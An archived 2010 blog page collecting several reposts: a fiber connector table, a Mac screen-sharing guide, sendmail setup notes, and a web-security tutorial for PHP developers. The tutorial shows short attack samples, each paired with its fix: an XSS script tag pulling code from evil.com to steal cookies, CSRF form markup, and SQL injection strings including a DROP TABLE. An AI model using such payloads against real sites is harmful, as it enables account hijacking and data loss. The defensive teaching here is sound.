Wednesday, October 20, 2010

Fiber Optic Connector Reference Multi-Mode versus Single-Mode Fiber

— SkyHi @ Wednesday, October 20, 2010
Get Free Stuff (Xbox 360/iPod)

Name Duplex Size
(RJ45 Relative)
Picture
ST (Lucent)Half200%ST Connector
SC (EIA/TIA 568)Half200%SC Connector
FC/PCHalf200%FC Connector
SMAHalfSMA Connector
D4HalfD4 Connector
LC (Lucent)Half100%LC Connector
MUHalf100%MU Connector
MT-RJFull100%MT-RJ Connector
SC-DC/SC-QC (Siecor now Corning & IBM)Full100%SC-DC Connector
Volition VF-45 (3M)Full100%Volition Connector
TIA FOCIS-6 "Fiber Jack" (Panduit Opti-Jack)Full100%Fiber Jack Connector
MTP/MPO (USCONEC & Molex) Multi-fiber (4-12)MTP Connector
E2000E2000 Connector
SMCSMC Connector
BiconicBiconic Connector
MPX (AMP/Tyco)Multi-fiber (Up to 12)MPX Connector
OGI (3M)Multi-fiber
ESCON - Enterprise Systems CONnection (IBM)FullESCON Connector
FDDI - Fiber Distributed Data Interface (ANSI)FullFDDI Connector
SFF Connector Comparison
Comparison of Small Form Factor Connectors
A - SC-DC
B - LC
C - MT-RJ
D - Duplex SC
E - Volition
F - Fiber-Jack


References


Related Reading Material

Mac Leopard Screen Share

— SkyHi @ Wednesday, October 20, 2010
The ability to view and optionally control the screen of a remote computer can be very handy in a number of scenarios. Maybe you have a parent living in another city with questions about their computer or problems. Trying to help someone over the phone can be problematic, if when you say "Open the Finder" they reply, "What's the Finder"?
It's much easier to open a window to their Mac, open the Finder, and show them what you mean.
Or I'm at work, sitting at a Windows XP computer, and realize I really need to read a file that's sitting on the hard drive of the iMac on my desk at home. Again, it could be very convenient to have the power to open a window to my home Mac from work.
One of Leopard's improved features that's easy to miss is screen sharing; Mac OS X 10.4 had a built-in screen-sharing host, built on the open source VNC protocol, but failed to include a VNC client. As a result, users could use the Networking system preference to turn on screen sharing but couldn't remotely access their shared screen without getting a third party utility, like the free Chicken of the VNC.
Leopard adds the missing link - in fact, they include two different ways to connect to a shared screen; each has its advantages, but neither is immediately apparent.

Turn on Screen Sharing

In order to connect to a remote Mac, screen sharing first needs to be enabled on that Mac. That's done in the Sharing system preference:
The Sharing system preference in Leopard
Note that it's easy to turn screen sharing on; when you do that, you're told how to connect to your Mac . . . take note - but also note that this information may not be universally usable. For instance, you can only use the information in the screen shot to connect to my 12" PowerBook if you happen to be connected to my local network - which none of you are. You can optionally control who is able to make use of this screen sharing.
There's an optional Computer Settings button; clicking it gives the following options:
access control

Not Very Remote: Connecting Across a Local Network

I've got two Macs at home; I've enabled screen sharing on both. So I can sit with my PowerBook on my lap and open a window to the iMac in my home office, enabling me to run applications (like Quicken) that are only on the iMac. To do that from the PowerBook, I click on the Finder's Go menu and choose Connect to Server, the last item on the menu. Just as it said in the Sharing system preference pane, I type in vnc:// followed by the IP address of that Mac.
Connect to Server
(If you're going to do that more than once, you may want to click on the [+] button to add that address to the favourites list in the bottom half of the dialogue box.)
Click Connect, and pretty quickly a window to the remote Mac opens up. My 17" iMac defaults to a 1440 x 900 display, while my 12" PowerBook has a 1024 x 768 screen. Nicely, the Screen Sharing application scales the larger iMac display so that it all fits on my smaller PowerBook screen. Very nicely done.
1440 x 900 screen scaled to fit a 1024 x 768 display
One thing to be aware of, though. My various computers at home are connected to a router and get their IP addresses via the default DHCP networking option; that means that their IP addresses are temporary, assigned by the router, and could change. In reality, I've found that the DHCP-generated IP addresses are pretty stable, but if you're unable to connect, you may need to walk over to the other computer and check its IP address.
Perhaps easier than having to know the IP address of the remote computer on you local network: Once you've enabled screen sharing in this way, clicking on the computer in the Finder's sidebar, you'll now see an option to share its screen - just pick that (and optionally enter log in information), and away you go. Alternatively, clicking the Browse button in the Finder's Go/Connect to Server dialogue will take you to the same place. Either way, there's no typing IP addresses required.
Connect from the Finder
You may notice that my screen shot shows that when I'm connected, I'm running a program named Screen Sharing. You won't find a program with that name in your Mac's Applications or Applications/Utilities folders. Instead, it's cleverly buried away in the System/Library/CoreServices folder, along with the Finder application and a number of other basic Mac services.

Really Remote: Connecting Across the Internet

All this works fine as long as I'm connected to the same local area network as my not-very-remote other Mac. It's nice to be able to open an application on the other Mac without have to get out of my comfortable easy chair, but frankly, I probably could walk across the house without too much difficulty.
More useful is the ability to contact my iMac from a real 'remote' location - from work, for example, or when traveling. That can be done, but it requires a bit more work. The thing is that those 192.168.xxx.xxx IP addresses are for local area networks; the designers of the Internet and TCP/IP networking set them (and several other blocks of addresses) aside for private local networking use, making them inaccessible across the Internet. This is a very good thing, allowing a computer on your home or office network and a computer on my home network to both have the same IP address without conflicting with one another. The router has an IP address that is connected to the rest of the world. All the computers (and other devices) connected to that router share that single connection. This minimizes the number of IP addresses in use - also a good thing, as IP addresses are in increasingly short supply. And having the router in between your computers and the Internet is also a good thing, providing a layer of protection - outsiders wanting to access your computer first have to get past the router and generally fail to do so.
But you legitimately want to access your computer from outside. To do that, you need to modify your router's settings to allow for screen sharing.
Most popular routers can be accessed using a web browser and pointing to the router's address on your network; you'll be asked for login information and then directed to a webpage built right into the router. (If you don't know the default IP address and the login information, check the documentation that came with your router, either in print or on a CD; if you've lost that, it's generally available online at your router manufacturer's website).
Exact details of what to do next vary from router to router. Here's what works with my D-Link wireless router. On my router, going to http://192.168.0.1 gets the following log-in screen:
D-Link login
I've changed the default log-in password (and suggest you do the same!), though I kept the default user name of 'admin'. Once I'm logged in, there's a screen offering a Wizard or Manual Configuration. The Wizard won't give the advanced options I need; pick the Manual Configuration.
manual Internet connection options
Even the initial Manual Configuration screen doesn't have what I want - port forwarding. Clicking the Advanced button along the top got me there:
port forwarding rules
You may notice that I'd already set port forwarding to allow me to access my Slingbox device so that I can remotely view my cable TV.
You probably don't have a Slingbox. To enable screen sharing, however, I've added port forwarding for two ports: 3283 and 5900, setting them to forward an application named Apple Remote Desktop (the name doesn't really matter - this is just a convenience for the user so they will know what it is when checking here later) to the IP address of my iMac - the computer whose screen I want to share.
Note at the right-hand side of the window, there's a field for 'Traffic Type'; I've selected TCP. As well, further down, in a part of the window not visible in the screen shot, I've repeated those same ports application name, and IP address, this time setting Traffic Type to UDP. (There's also a potential setting of 'Any' - that might have let me avoid the duplication. Feel free to experiment.)
After making those changes, I logged out, saving my changes. That should have applied the saved changes to my router, but just to be sure, I reset it by pulling out the power cable, plugging it back in, and waiting a few moments to let it reconnect to the Internet.
Whew!
But we're still not ready - we need to know what IP address your home network gets from your Internet Service Provider. That's the address you'll need to connect to in order to access your Mac's screen remotely.
One way to find that out is to open your browser (assuming you're at home, within your network) and point to: www.whatismyip.com. That will quickly report the IP address you're using to connect.
I couldn't use that IP to address to connect to my iMac from my PowerBook when both were connected to my home network. But when I took my PowerBook to work and typed that address in using the Finder's Go/Connect to Server menu, it worked just fine. It's a bit slower than connecting at home, but quite usable.
I've tried it from other remote sites, and it's worked without problem.
But it gets better.

Windows, too, Can Share Your Mac's Screen

At work, I've got a Windows XP system on my desk. Windows does not include VNC screen sharing as a built-in feature (though Microsoft includes its own proprietary screen sharing for remote access). But because VNC is an open-source protocol, there are a variety of utilities available for download and installation on Windows systems. I've got TightVNC installed - I use it in my school's computer lab to see what students are doing on their computers out of my sight, and to access my school's servers for administration.
Typing my home network's IP address into TightVNC and entering my password opens my home iMac in a window on my XP system at work. It's got more configuration options to fiddle with, though the default settings worked okay for me.
TightVNC Viewer Options
Screen updates are slower in my tests than Mac to Mac using Leopard's Screen Sharing - though it may be that fiddling with the TightVNC options could improve this. Nevertheless, it's usable and will prove to be useful from time to time. (Below you can see me starting to edit this report using MS Word 2008 on my iMac - in a window on my Windows Vista laptop.)
Accessing my home iMac from my office Windows PC

But How Can I Use This with My Mom?

I can't imagine getting my mom to set up port forwarding on her router, even with me on the phone. I would need to have screen sharing up and running in order to try to do this for her. And since I want to be able to share screens with her in order to help with her computer, that's not going to be much help.
But Apple has added another screen sharing feature to Leopard. This one isn't much use when I'm trying to get at my home computer from work, but it's pretty much perfect for using one Mac to share the screen of another Mac when both users are sitting at their Macs.
It uses iChat. (And you thought that iChat was just for chat!)
In order to make use of iChat screen sharing, a number of things need to be in place.
  • Both users need to have accounts that work with iChat. These could be .mac accounts, AOL Instant Messenger accounts, or Google Talk accounts. (Unlike .mac, AIM and Google Talk accounts are free. Google Talk uses the open source Jabber protocol - it's possible that other Jabber-based accounts may work as well.)
  • Users should be on each others' Buddy lists within iChat
  • Both users need to have OS X 10.5 Leopard installed on their Macs; this is a Leopard-to-Leopard feature, unlike the screen sharing described above, which can connect any computers (Mac, Windows, whatever) with a VNC-compatible protocol in place.
  • Users need to enable screen sharing - both in the Sharing system preference (as described above) and in iChat; in iChat's Video menu (or the Audio menu on my camera-less PowerBook), just click the Screen Sharing Enabled menu item.
iChat connection type iconsAssuming all these are true, both users just need to open iChat. Either should start a chat with the other. At the bottom of the little window showing buddies there is a series of icons- for text chatting, audio chatting, video chatting, and last an icon with an overlapping pair of rectangles for screen sharing.
Clicking on it let's you choose to ask the person with whom you're chatting to either let you share his/her screen or to agree to share your screen.
iChat Screen Sharing
Barry Shell would like to share their screenPick one, and they'll see something like this (left).
Assuming the other person clicks on the message to agree to it, you'll see large text pop up on your screen noting that this person is now sharing your screen. (This disappeared too quickly for me to be able to capture the text.)
Another user's shared screenIf you're sharing another user's screen, you can will see their screen in a large window (and share control of their mouse and keyboard) and see your screen in a small window. Clicking in that small window brings it to the foreground, reducing their screen to the small window - and removing your control of their mouse and keyboard.
Either way, while you're sharing screens, you also have audio chat automatically enabled. If you're doing informal tech support, you can be explaining what you're doing while you work with the remote user's mouse and keyboard.
Very nicely implemented, easy to get up and running, and easy to use. A good way for one Leopard user to be able to help another Leopard user remotely. LEM
Alan Zisman is Mac-using teacher and technology writer based in Vancouver, BC, Canada. Many of his articles are available on his website, www.zisman.ca. If you find Alan's articles helpful, please consider making a donation to his tip jar.

REFERENCES

Tuesday, October 19, 2010

Common Security Mistakes in Web Applications

— SkyHi @ Tuesday, October 19, 2010
Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.
There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.
We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.
[By the way, did you know we have a free Email Newsletter? Subscribe now and get fresh short tips and tricks in your inbox!]

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.
Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
echo "$user said $message";
?>


To read the message in from the user, we’d have code like this:
<?php
$user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }

?>
<input type="text" name="message" value="<?php echo $message ?>">



This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:
Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:
<?php
 $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">


Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)


A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:
<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">


Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:
<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>


Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}

?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.
<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}

?>


We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.
<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally

?>


3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>


This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.



4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:
Exploits of a Mom
Sql in Common Security Mistakes in Web Applications
Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}

?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like
test');DROP TABLE Messages;--



When this gets passed to the database, it could end up dropping the Messages
table, causing you and your users a lot of grief. This kind of an
attack calls attention to the attacker, but little else. It’s far more
likely for an attacker to use this kind of attack to insert spammy data
on behalf of other users. Consider this message instead:
test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ... 

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.
Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.


<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}

?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.
There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.
Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.
The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.
If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.


6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.
  1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
  2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
  3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
  4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.
If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.
Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further reading

  1. OWASP Top 10 security risks
  2. XSS
  3. CSRF
  4. Phishing
  5. Code injection
  6. PHP’s input filters
  7. Password anti-pattern
  8. OAuth
  9. Facebook Like button click-jacking
  10. Anti-anti frame-busting
  11. The Yahoo! Security Center also has articles on how users can protect themselves online.

 REFERENCES
http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/

Friday, October 15, 2010

Sendmail rebuild and Sendmail-access Lesson basic 101

— SkyHi @ Friday, October 15, 2010
 sendmail - an electronic mail transport agent

Installation

# rpm -ihv sendmail-8.11.6-3.i386.rpm
# rpm -ihv sendmail-doc-8.11.6-3.i386.rpm
# rpm -ihv sendmail-cf-8.11.6-3.i386.rpm
# rpm -ihv imap-2000c-15.i386.rpm
# rpm -ihv imap-devel-2000c-15.i386.rpm

Location of setting file

Path
/etc/mail/sendmail.mc
/etc/mail/access
/etc/mail/local-host-names
/etc/mail/relay-domains

How to make sendmail.cf

  1. Edit /etc/mail/sendmail.mc
  2. divert(-1)
    dnl This is the sendmail macro config file. If you make changes to this file,
    dnl you need the sendmail-cf rpm installed and then have to generate a
    dnl new /etc/sendmail.cf by running the following command:
    dnl
    dnl        m4 /etc/mail/sendmail.mc > /etc/sendmail.cf
    dnl
    include(`/usr/share/sendmail-cf/m4/cf.m4')
    VERSIONID(`linux setup for Red Hat Linux')dnl
    OSTYPE(`linux')
    define(`confDEF_USER_ID',``8:12'')dnl
    define(`confAUTO_REBUILD')dnl
    define(`confTO_CONNECT', `1m')dnl
    define(`confTRY_NULL_MX_LIST',true)dnl
    define(`confDONT_PROBE_INTERFACES',true)dnl
    define(`PROCMAIL_MAILER_PATH',`/usr/bin/procmail')dnl
    define(`ALIAS_FILE', `/etc/aliases')dnl
    define(`UUCP_MAILER_MAX', `2000000')dnl
    define(`confUSERDB_SPEC', `/etc/mail/userdb.db')dnl
    define(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl
    define(`confAUTH_OPTIONS', `A')dnl
    FEATURE(`no_default_msa',`dnl')dnl
    FEATURE(`smrsh',`/usr/sbin/smrsh')dnl
    FEATURE(`mailertable',`hash -o /etc/mail/mailertable.db')dnl
    FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable.db')dnl
    FEATURE(redirect)dnl
    FEATURE(always_add_domain)dnl
    FEATURE(use_cw_file)dnl
    FEATURE(use_ct_file)dnl
    FEATURE(local_procmail,`',`procmail -t -Y -a $h -d $u')dnl
    FEATURE(`access_db',`hash -o /etc/mail/access.db')dnl
    FEATURE(`blacklist_recipients')dnl
    EXPOSED_USER(`root')dnl
    DAEMON_OPTIONS(`port=smtp,Addr=202.144.158.205, Name=MTA')
    FEATURE(`accept_unresolvable_domains')dnl
    MAILER(smtp)dnl
    MAILER(procmail)dnl
    Cwlocalhost.localdomain
    MASQUERADE_AS(yourdomain.bt)
    MASQUERADE_DOMAIN(yourdomain.bt)
    FEATURE(masquerade_entire_domain)
    FEATURE(masquerade_envelope)
    
  3. Edit /etc/mail/access
  4. # Check the /usr/share/doc/sendmail-8.11.6/README.cf file for a description
    # of the format of this file. (search for access_db in that file)
    # The /usr/share/doc/sendmail-8.11.6/README.cf is part of the sendmail-doc
    # package.
    #
    # by default we allow relaying from localhost...
    # localhost.localdomain         RELAY
    # localhost                     RELAY
    # 127.0.0.1                     RELAY
    
  5. Edit /etc/mail/relay-domains
  6. 192.168.0.
    202.144.158.
    
  7. Edit /etc/mail/local-host-names
  8. # local-host-names - include all aliases for your machine here.
    yourhost.yourdomain.bt
    
  9. Enable imap, imaps, ipop3, pop3s, sendmail using by ntsysv
    # ntsysv
    
  10. Compile and restart sendmail
    # m4 /etc/mail/sendmail.mc > /etc/sendmail.cf
    # makemap hash /etc/mail/access.db < /etc/mail/access
    # /etc/init.d/sendmail restart
    
  11. Check the start-up log
    # tail /var/log/message
    
    ...
    Jun  6 22:28:45 yourname sendmail: sendmail shutdown succeeded
    Jun  6 22:28:47 yourname sendmail: sendmail startup succeeded
    

How to test

  1. Test by telnet
    # telnet yourhost.yourdomain.bt 110
    Trying 202.144.158.205...
    Connected to yourhost.yourdomain.bt.
    Escape character is '^]'.
    +OK POP3 yourhost v6.50 server ready
    hoge
    -ERR Unknown command in AUTHORIZATION state
    USER youruser
    +OK User name accepted, password please
    PASS ********
    +OK Mailbox open, 15 messages
    LIST
    1 15086
    2 13874
    3 10065
    4 15055
    5 17742
    6 15442
    7 9176
    8 9052
    9 1471
    10 37106
    11 14620
    12 8343
    13 7457
    14 14941
    15 1418
    .
    QUIT
    +OK Sayonara
    Connection closed by foreign host.
    
  2. Test sendmail.cf
    # sendmail -bt -f /etc/sendmail.cf
    ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
    Enter  
    > 0 youruser parse input: youruser Parse0 input: youruser Parse0 returns: youruser ParseLocal input: youruser ParseLocal returns: youruser Parse1 input: youruser Parse1 returns: $# local $: youruser parse returns: $# local $: youruser > 0 youruser@yourdomain.bt parse input: youruser @ yourdomain . bt Parse0 input: youruser @ yourdomain . bt Parse0 returns: youruser @ yourdomain . bt ParseLocal input: youruser @ yourdomain . bt ParseLocal returns: youruser @ yourdomain . bt Parse1 input: youruser @ yourdomain . bt Parse1 returns: $# local $: youruser @ yourdomain . bt parse returns: $# local $: youruser @ yourdomain . bt >

Reject SPAM domain

If you want to reject receiving mail (as SPAM) from particular domain, maintain /etc/mail/access
  1. Edit /etc/mail/access
    ...
    erohard.com                            REJECT
    americanbranding.easywinning.com       REJECT
    lists.zoanmail.com                     REJECT
    vmadmin.com                            REJECT
    
  2. Convert access to access.db
    # makemap hash /etc/mail/access.db < /etc/mail/access
    
  3. Restart sendmail
    # /etc/init.d/sendmail restart
    

Remove blacklist message automatically

Remove blacklist message automatically by procmail
  1. Edit $HOME/.procmailrc
    BLACKLIST=$HOME/.blacklist
    
    :0 h
    *$ ? test -s $BLACKLIST
    * ? (formail -x From: -x Reply-To: -x Sender: -x From | fgrep -iqf $BLACKLIST)
    /dev/null
    
  2. Make a blacklist $HOME/.blacklist
    OnlineCasinoFun@vmadmin.com
    aeb@americanbranding.easywinning.com
    jackpot@workdaydeals.net
    free-pix@erohard.com
    

Aliases name

  1. Edit /etc/aliases
    ...
    group1: user1, user2, user3, . . .
    ...
    
  2. Rebuild the data base for the mail aliases file
    Newaliases rebuilds the random access data base for the mail aliases file /etc/aliases. It must be run each time this file is changed in order for the change to take effect.
    # newaliases
    

Message forwarding

  1. Edit ~/.forward file to forward all messages.
    forwarduser@somewhere.bt
    

 REFERENCES
 http://www.grape-info.com/doc/linux/config/sendmail-8.11.6-3l.html


========================================================================
========================================================================

sendmail access.db by example

The sendmail access database file can be created to accept or reject mail from selected domains.
Since "/etc/mail/access" is a database, after creating the text file, use makemap to create the database map.
# makemap hash /etc/mail/access.db < /etc/mail/access
Below is what my access file currently looks like and can be used as a starting point. All internal addresses have been changed except for spammers!!
# by default we allow relaying from localhost...
localhost.localdomain           RELAY
localhost                       RELAY
127.0.0.1                       RELAY

# Allow Connect from local server IPs
Connect:207.44.206.144   OK

# Accept Mail
# accept mail from PayPal
paypal.com      OK

# Reject Mail
posterclub@e.allposters.com     REJECT
posterclub@email.allposters.com REJECT
plastmarket.com                 REJECT
jr@jrtr.org                     REJECT
7b2.606@fe01.atl2.webusenet.com REJECT
mysoldpad.com                   REJECT

# Discard Mail
1and1-private-registration.com  DISCARD
# forum admin mails:
fictionaluser@gmail.com         DISCARD

# Reject full mailbox
fictionaluser@linuxweblog.com ERROR:4.2.2:450 mailbox full
fictionaluser@linuxweblog.net REJECT

# Blacklist recipients
linuxweblog.net ERROR:550 That host does not accept mail

# Spam friend domains: exempt domains from dnsbl list checking
Spam:linuxweblog.org      FRIEND

# Spam friend users: exempt email users from dnsbl list checking
# example:
# Spam:user@domain.tld         FRIEND
# clients
Spam:fictionalclient@hotmail.com  FRIEND

# Auto REJECT via hourly cron added below

Below are more examples and explanations for reference which comes from the sendmail-cf distribution docs.
The table itself uses e-mail addresses, domain names, and network numbers as keys.
Note that IPv6 addresses must be prefaced with "IPv6:".
For example:
spammer@aol.com                 REJECT
        cyberspammer.com                REJECT
        TLD                             REJECT
        192.168.212                     REJECT
        IPv6:2002:c0a8:02c7             RELAY
        IPv6:2002:c0a8:51d2::23f4       REJECT
would refuse mail from spammer@aol.com, any user from cyberspammer.com (or any host within the cyberspammer.com domain), any host in the entire top level domain TLD, 192.168.212.* network, and the IPv6 address 2002:c0a8:51d2::23f4. It would allow relay for the IPv6 network 2002:c0a8:02c7::/48.
The value part of the map can contain:
